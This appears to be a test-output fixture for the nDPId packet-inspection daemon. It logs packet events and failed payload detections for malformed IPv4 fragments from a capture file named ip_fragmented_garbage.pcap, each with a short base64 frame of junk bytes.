+00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8239,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8240,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604268,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgykAGROcKAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8240,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8241,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604279,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzEAGROUKAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8241,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8242,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604290,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzkAGROMKAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8242,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8243,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604303,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0EAGROEKAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8243,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8244,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604318,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0kAGRN8KAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8244,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8245,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604331,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1EAGRN0KAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8245,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8246,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604343,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1kAGRNsKAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8246,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8247,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604356,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2EAGRNkKAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8247,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8248,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604369,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2kAGRNcKAAACCoAAAiMkJV4mKigpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8248,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8249,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604381,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3EAGRNUKAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8249,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8250,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604394,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3kAGRNMKAAACCoAAAktJSkhHRkQyKiZERkdISks="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8250,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8251,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604409,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4EAGRNEKAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8251,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8252,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604421,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4kAGRM8KAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8252,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8253,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604434,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5EAGRM0KAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8253,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8254,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604449,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5kAGRMsKAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8254,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8255,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604461,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6EAGRMkKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8255,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8256,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604474,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6kAGRMcKAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8256,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8257,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604486,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7EAGRMUKAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8257,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8258,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604499,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7kAGRMMKAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8258,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8259,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604519,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8EAGRMEKAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8259,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8260,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604532,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8kAGRL8KAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8260,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8261,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604545,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9EAGRL0KAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8261,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8262,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604558,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9kAGRLsKAAACCoAAAiZERkdISksmXiUkIyNFVFI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8262,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8263,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604574,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+EAGRLkKAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8263,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8264,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604586,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+kAGRLcKAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8264,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8265,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604613,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/EAGRLUKAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8265,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8266,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604623,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/kAGRLMKAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8266,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8267,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604633,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAEAGRLEKAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8267,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8268,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604643,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAkAGRK8KAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8268,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8269,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604653,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBEAGRK0KAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8269,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8270,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604663,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBkAGRKsKAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8270,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8271,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604673,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCEAGRKkKAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8271,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8272,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604683,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCkAGRKcKAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8272,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8273,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604693,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDEAGRKUKAAACCoAAAkpIR0ZEMiomREZHSEpLJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8273,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8274,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604703,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDkAGRKMKAAACCoAAAiUkIyNFVFIlWV5VJkkqT1A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8274,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8275,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604713,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEEAGRKEKAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8275,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8276,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604726,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEkAGRJ8KAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8276,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8277,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604736,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFEAGRJ0KAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8277,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8278,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604746,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFkAGRJsKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8278,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8279,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604755,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGEAGRJkKAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8279,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8280,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604766,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGkAGRJcKAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8280,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8281,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":604776,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHEAGRJUKAAACCoAAAj9zUj83NDgzOTYpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8281,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 